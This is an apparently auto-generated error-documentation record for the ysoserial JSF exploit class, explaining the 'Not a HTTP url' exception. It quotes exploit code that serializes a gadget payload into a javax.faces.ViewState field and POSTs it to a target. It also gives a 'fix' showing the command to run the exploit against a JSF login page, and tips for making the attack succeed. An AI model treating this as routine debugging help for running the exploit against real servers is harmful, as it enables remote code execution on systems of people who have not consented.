{"record":{"id":"c92f68124a3bdcb8","repo":"frohoff/ysoserial","slug":"not-a-http-url","errorCode":null,"errorMessage":"Not a HTTP url","messagePattern":"Not a HTTP url","errorType":"exception","errorClass":"IllegalArgumentException","httpStatus":null,"severity":"error","filePath":"src/main/java/ysoserial/exploit/JSF.java","lineNumber":51,"sourceCode":" *\n */\npublic class JSF {\n\n    public static void main ( String[] args ) {\n\n        if ( args.length < 3 ) {\n            System.err.println(JSF.class.getName() + \" <view_url> <payload_type> <payload_arg>\");\n            System.exit(-1);\n        }\n\n        final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);\n\n        try {\n            URL u = new URL(args[ 0 ]);\n\n            URLConnection c = u.openConnection();\n            if ( ! ( c instanceof HttpURLConnection ) ) {\n                throw new IllegalArgumentException(\"Not a HTTP url\");\n            }\n\n            HttpURLConnection hc = (HttpURLConnection) c;\n            hc.setDoOutput(true);\n            hc.setRequestMethod(\"POST\");\n            hc.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n            OutputStream os = hc.getOutputStream();\n\n            ByteArrayOutputStream bos = new ByteArrayOutputStream();\n            ObjectOutputStream oos = new ObjectOutputStream(bos);\n            oos.writeObject(payloadObject);\n            oos.close();\n            byte[] data = bos.toByteArray();\n            String requestBody = \"javax.faces.ViewState=\" + URLEncoder.encode(Base64.encodeBase64String(data), \"US-ASCII\");\n            os.write(requestBody.getBytes(\"US-ASCII\"));\n            os.close();\n\n            System.err.println(\"Have response code \" + hc.getResponseCode() + \" \" + hc.getResponseMessage());","sourceCodeStart":33,"sourceCodeEnd":69,"githubUrl":"https://github.com/frohoff/ysoserial/blob/218bcffcaaa904a4e392f0c15d9e2874533635a3/src/main/java/ysoserial/exploit/JSF.java#L33-L69","documentation":"JSF.main opens a URLConnection for its first argument and requires it to be an HttpURLConnection, since the exploit needs to POST form data. If the connection is not HTTP(S) (e.g. file:, ftp:, jar:), it throws IllegalArgumentException(\"Not a HTTP url\").","triggerScenarios":"Running JSF with a first argument whose URL scheme does not produce HttpURLConnection — e.g. file:///tmp/viewstate, ftp://host/x, or a malformed string that URL still parses with a non-http protocol.","commonSituations":"Passing a local file path instead of the target JSF application URL; forgetting the http:// scheme so URL defaults to an unexpected protocol; using https proxied through a custom handler that is not HttpURLConnection.","solutions":["Pass a full http:// or https:// URL as the first argument","Do not pass local file paths; host the viewstate payload target as an HTTP endpoint","Verify the argument order — args[0] must be the URL","Print/validate the URL scheme before invoking JSF"],"exampleFix":"// before\njava -cp ysoserial.jar ysoserial.exploit.JSF file:///tmp/payload 'cmd'\n// after\njava -cp ysoserial.jar ysoserial.exploit.JSF http://target:8080/login.jsf 'cmd'","handlingStrategy":"validation","validationCode":"URL u = new URL(args[0]);\nString scheme = u.getProtocol();\nif (!scheme.equals(\"http\") && !scheme.equals(\"https\")) {\n    throw new IllegalArgumentException(\"JSF requires an http(s) URL, got: \" + scheme);\n}","typeGuard":"static boolean isHttpUrl(String s) {\n    try { String p = new URL(s).getProtocol(); return p.equals(\"http\") || p.equals(\"https\"); }\n    catch (MalformedURLException e) { return false; }\n}","tryCatchPattern":"try {\n    JSF.main(args);\n} catch (IllegalArgumentException e) {\n    if (e.getMessage().equals(\"Not a HTTP url\")) {\n        // correct args[0] to a full http(s):// target URL\n    }\n}","preventionTips":["Always pass the full scheme (http://host:port/path) as args[0]","Never pass file paths or non-HTTP endpoints to JSF","Validate the URL scheme in wrapper scripts before invoking"],"tags":["java","http","url","cli"],"backgroundTag":"invalid-url","analyzedSha":"218bcffcaaa904a4e392f0c15d9e2874533635a3","analyzedAt":"2026-09-12T01:53:58.488Z","contentChangedAt":"2026-09-12T01:53:58.488Z","schemaVersion":2},"datasetVersion":"2026-09-16T04:17:20.429Z"}